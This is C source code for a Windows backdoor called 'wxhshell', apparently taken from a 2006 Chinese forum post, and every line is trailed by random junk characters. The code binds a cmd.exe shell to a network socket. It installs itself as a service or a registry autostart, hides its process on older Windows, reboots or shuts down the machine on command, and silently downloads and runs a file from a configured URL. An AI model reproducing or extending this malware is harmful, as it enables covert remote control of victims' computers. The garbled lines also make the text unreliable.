  case '?': { +=E\sEe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \KhcNr?ja=  
    break; (_e[CqFu  
  } i-v: %  
  // 安装 n<8WjrK  
  case 'i': { =|E "  
    if(Install()) &wK:R,~x6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ik(YJw'i7E  
    else gW~T{+f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cgrSd99.  
    break; hE(R[hc  
    } A|f6H6UUx  
  // 卸载 i0{\c}r:4b  
  case 'r': { 2(DhKHrF  
    if(Uninstall()) B N79\rt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t~o"x.  
    else ?m*e$!M0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NuR7pjNMZ  
    break; :38{YCN  
    } d|RUxNjM-J  
  // 显示 wxhshell 所在路径 ^>l <)$s  
  case 'p': { -8qCCV&1i  
    char svExeFile[MAX_PATH]; 1}\p:`  
    strcpy(svExeFile,"\n\r"); 3Sfd|0^  
      strcat(svExeFile,ExeFile); ulsU~WW7r  
        send(wsh,svExeFile,strlen(svExeFile),0); 8<Iq)A]'Z  
    break; % vUU Fub  
    } I9qZE=i  
  // 重启 3!p`5hJd  
  case 'b': { 3F|p8zPS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >M2~p& Si  
    if(Boot(REBOOT)) !} h) |  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vhv'Z\  
    else { Qz|T0\=V  
    closesocket(wsh); ~7ZZb*].(  
    ExitThread(0); zG_nx3  
    } LMoZI0)x  
    break; zr?s5RS  
    } 7!AyLw  
  // 关机 Y ]()v  
  case 'd': { [M[#f&=Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jOfG}:>e\  
    if(Boot(SHUTDOWN)) 6ncwa<q5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GLO3v. n;  
    else { _:9}RT?  
    closesocket(wsh); es6YxMg  
    ExitThread(0); e}?Q&Lci  
    } bfA>kn0C  
    break; Qg/FFn^Kg*  
    } eB#I-eD  
  // 获取shell qg#YQ'vWte  
  case 's': { U_IGL  
    CmdShell(wsh); o.!o4&W H  
    closesocket(wsh); fPD.np}  
    ExitThread(0);  ?P +Uv  
    break; ( /I6Wa  
  } L/jaUt[,  
  // 退出 ExtC\(X;  
  case 'x': { P0}B&B/a:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fqw4XR_`~  
    CloseIt(wsh); e7GYz7  
    break; ?:$ q~[LY  
    } Kb+SssF  
  // 离开 vgy.fP"@  
  case 'q': { KR$Fd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 14'\@xJMM  
    closesocket(wsh); x$-kw{N  
    WSACleanup(); -/?)0E  
    exit(1); gNW+Dq|X%  
    break; ^ELZ35=qZ  
        } C,+  
  } imif[n+]}d  
  } l[i4\ CT  
\#%GVru!  
  // 提示信息 EFC+7L(j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ni>Ns=n  
} 60%nQhb  
  } n8Qv8  
$3"hOEN@5`  
  return; o_Zs0/  
} vU%K%-yXG7  
;w. la  
// shell模块句柄 D@&xj_#\}  
int CmdShell(SOCKET sock) eXKEx4rU  
{ ;&=jSgr8  
STARTUPINFO si; SN@>mpcJS  
ZeroMemory(&si,sizeof(si)); -OJ<Lf+"=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1J9p1_d5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }=EJM7sM|k  
PROCESS_INFORMATION ProcessInfo; `\VtTS  
char cmdline[]="cmd"; q!Ek EW\n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r =x"E$  
  return 0; BO*)cLQ  
} Ee}|!n>  
Yd4X*Ua  
// 自身启动模式 =7}1NeC`  
int StartFromService(void) iHNQxLkk{:  
{ cVx SO`jZw  
typedef struct fCUx93,>z  
{ 15jQ87)  
  DWORD ExitStatus; S'HA]  
  DWORD PebBaseAddress; 4k^P1  
  DWORD AffinityMask; [w<_Wj  
  DWORD BasePriority; %WU=Vy4  
  ULONG UniqueProcessId; zlEI_th:~  
  ULONG InheritedFromUniqueProcessId; -sA&1n"W&5  
}   PROCESS_BASIC_INFORMATION; O=bkq}  
2gO@   
PROCNTQSIP NtQueryInformationProcess; _0$>LWO~  
GY?u+|Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~v(c9I)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7u;N/@  
05H:ZrUV  
  HANDLE             hProcess; 2+y wy^  
  PROCESS_BASIC_INFORMATION pbi; (!fx5&F  
\Ebh6SRp\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b/[X8w'VP  
  if(NULL == hInst ) return 0; 'sZGLgT;m  
J#C4A]A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +#wVe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?n{m2.H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +/celp  
k5K5OpY  
  if (!NtQueryInformationProcess) return 0; $ H+X'1  
^J>m4`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ng+sK  
  if(!hProcess) return 0; <|k :%  
-Wa<}Tz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CP\[9#]:  
YZfi-35@g  
  CloseHandle(hProcess); c&bhb[  
<b"^\]l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jo&j<3i  
if(hProcess==NULL) return 0; &v0]{)PO  
< xeB9  
HMODULE hMod; bp'%UgA)1  
char procName[255]; 5rLx b  
unsigned long cbNeeded; fUf 1G{4  
%iNgHoH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F-ZTy"z  
5)Z=FUupA~  
  CloseHandle(hProcess); qnyacI  
nmn/4>  
if(strstr(procName,"services")) return 1; // 以服务启动  GpTZp#~;  
.$p eq  
  return 0; // 注册表启动 awR !=\  
} u\ 7Y_`8  
JJ1>)S}X-  
// 主模块 (L4llZ;q  
int StartWxhshell(LPSTR lpCmdLine) Vp; `!+z"  
{ +mBS&FK  
  SOCKET wsl; ZFMO;'m&  
BOOL val=TRUE; mg:kVS  
  int port=0; %?n=I n(F  
  struct sockaddr_in door; %|+aI?  
_YlyS )#@  
  if(wscfg.ws_autoins) Install(); {i=V:$_#  
\y271}'  
port=atoi(lpCmdLine); Jq)k5X>&Sj  
*J^FV^E``  
if(port<=0) port=wscfg.ws_port; 3}V (8  
<;#gcF[7>  
  WSADATA data; Qa/1*Mb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Da)p%E>Q  
-flcB|I`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f {2UL ?y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +a,#BSt  
  door.sin_family = AF_INET; dpE^BWv3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h{"SV*Xpk/  
  door.sin_port = htons(port); D8! Y0  
*VXx\&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Pi1LOCq  
closesocket(wsl); bn|HvLQ"1  
return 1; 8>j&) @q  
} oMAUR "  
-}4CY\d6'  
  if(listen(wsl,2) == INVALID_SOCKET) { H[: lQ\  
closesocket(wsl); ,#BD/dF  
return 1; D"$ 97  
} T]Q4=xsv  
  Wxhshell(wsl); tkm@&e=e%  
  WSACleanup(); E3p$^['vx  
whe%o  
return 0; eK(k;$4\^Y  
c]1AM)xo  
} tc.|mIvw  
1F>8#+B/W  
// 以NT服务方式启动 jQ7;-9/~N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e~*tQ4  
{ n&&C(#mBC  
DWORD   status = 0; ;=@O.iF;H  
  DWORD   specificError = 0xfffffff; Jm)7!W%3  
vK/`or3U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C8v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zQO 1%g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bZUw^{~)D  
  serviceStatus.dwWin32ExitCode     = 0; OR+_s @Yg  
  serviceStatus.dwServiceSpecificExitCode = 0; &b,A-1`w_  
  serviceStatus.dwCheckPoint       = 0; QsPg4y3?D  
  serviceStatus.dwWaitHint       = 0; f uU"  
r2tE!gMC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j0oto6z~b  
  if (hServiceStatusHandle==0) return; 8 [,R4@  
9a@S^B>  
status = GetLastError(); P//nYPyzg  
  if (status!=NO_ERROR) ^PE|BCs  
{ (bsywM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yz,_\{}  
    serviceStatus.dwCheckPoint       = 0; L;g2ZoqIr0  
    serviceStatus.dwWaitHint       = 0; ^-Arfm%dn  
    serviceStatus.dwWin32ExitCode     = status; #a@jt  
    serviceStatus.dwServiceSpecificExitCode = specificError; W,,3@:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0iC5,  
    return; 1,zc8>M  
  } -#;ZZ \fdj  
%L)QTv/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; % &H^UxC  
  serviceStatus.dwCheckPoint       = 0; )mAD<y+  
  serviceStatus.dwWaitHint       = 0; JgHYuLB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6NyUGGRq  
} F5H*z\/={  
jR:\D_:  
// 处理NT服务事件,比如:启动、停止 R$IsP,Uw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e\aW~zs 2  
{ /EQ^-4yr  
switch(fdwControl) H_S"4ISS_  
{ 8z|]{XW{  
case SERVICE_CONTROL_STOP: OcpvY~"Pr  
  serviceStatus.dwWin32ExitCode = 0; -/B*\X[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &)Zv>P8z`  
  serviceStatus.dwCheckPoint   = 0; m@I}$  
  serviceStatus.dwWaitHint     = 0; je#LD  
  { Omn $O>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hxJKYU^%m  
  } n]3'N58  
  return; QTF1~A\  
case SERVICE_CONTROL_PAUSE: -f:PgBj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GHLFn~z@XJ  
  break; sAA;d  
case SERVICE_CONTROL_CONTINUE: BuAzO>=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !jEV75  
  break; "p+oi@  
case SERVICE_CONTROL_INTERROGATE: * #z@b  
  break; < fe.  
}; T^+K`U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *j<#5=l  
} U+ Yu_=o{  
6 3PV R"  
// 标准应用程序主函数 bs% RWwn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FB,rQ9D  
{ s/>0gu]A8  
./DlHS;  
// 获取操作系统版本 6W]C`  
OsIsNt=GetOsVer(); v^t oe  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RxV " ,  
w .M  
  // 从命令行安装 dci,[TEGu  
  if(strpbrk(lpCmdLine,"iI")) Install(); hWn-[w/l_  
\%]lsml  
  // 下载执行文件 *\iXU//^)  
if(wscfg.ws_downexe) { 41.xi9V2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xf8e"mD  
  WinExec(wscfg.ws_filenam,SW_HIDE); is%ef  
} R;U4a2~  
2Z"\%ZD  
if(!OsIsNt) { F!?f|z,/  
// 如果时win9x,隐藏进程并且设置为注册表启动 N48X[Q*  
HideProc(); ox.kL  
StartWxhshell(lpCmdLine); MR@Qn[RdM  
} EN}4-P/5  
else G:|]w,^i  
  if(StartFromService()) 8W Qc8  
  // 以服务方式启动 0&kmP '  
  StartServiceCtrlDispatcher(DispatchTable); /{[tU-}qJ  
else hCX/k<}I  
  // 普通方式启动 ?mVSc/  
  StartWxhshell(lpCmdLine); Gf~^Xv!T  
o?= &kx  
return 0; Jfv'M<I  
}
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只看该作者 1 发表于: 2006-10-10
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